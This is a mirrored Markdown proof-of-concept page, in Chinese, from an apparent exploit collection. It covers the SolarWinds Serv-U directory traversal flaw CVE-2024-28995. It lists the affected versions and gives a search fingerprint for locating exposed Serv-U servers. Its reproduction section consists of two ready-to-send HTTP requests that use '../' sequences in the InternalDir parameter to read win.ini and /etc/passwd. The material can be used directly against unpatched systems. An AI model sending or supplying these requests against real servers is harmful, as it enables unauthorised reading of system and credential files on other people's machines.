mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-09 16:03:51 +00:00
46 lines
1.9 KiB
Markdown
46 lines
1.9 KiB
Markdown
|
# SolarWinds Serv-U存在目录遍历漏洞(CVE-2024-28995)
|
|||
|
|
|
|||
|
|
# 一、漏洞简介
|
|||
|
|
SolarWinds的产品主要面向中小型企业和大型企业的IT部门，提供网络监控、系统管理、数据库管理、安全管理等解决方案，2024年6月，Serv-U 官方 SolarWinds 发布了新补丁，修复了一处目录 遍历Q 致文件读取漏洞(CVE-2024-28995)。Serv-U 的目录遍历漏洞(CVE-2024-28995)是由于在处理路径时缺乏适当的验证。攻击者可以通过传递包含"../"的路径段绕过路径验证，访问任意文件。
|
|||
|
|
|
|||
|
|
# 二、影响版本
|
|||
|
|
SolarWinds Serv-U FTP Server <= 15.4.2 Hotfix 1
|
|||
|
|
|
|||
|
|
SolarWinds Serv-U Gateway <= 15.4.2 Hotfix 1
|
|||
|
|
|
|||
|
|
SolarWinds Serv-U MFT Server <= 15.4.2 Hotfix 1
|
|||
|
|
|
|||
|
|
# 三、资产测绘
|
|||
|
|
```plain
|
|||
|
|
server="Serv-U"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 四、漏洞复现
|
|||
|
|
```java
|
|||
|
|
GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.1
|
|||
|
|
Host: your-ip
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept: */*
|
|||
|
|
Connection: keep-alive
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
GET /?InternalDir=\..\..\..\..\etc&InternalFile=passwd HTTP/1.1
|
|||
|
|
Host: your-ip
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept: */*
|
|||
|
|
Connection: keep-alive
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-06-23 23:42:48
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/vt3h2cvl0d3cb5do>
|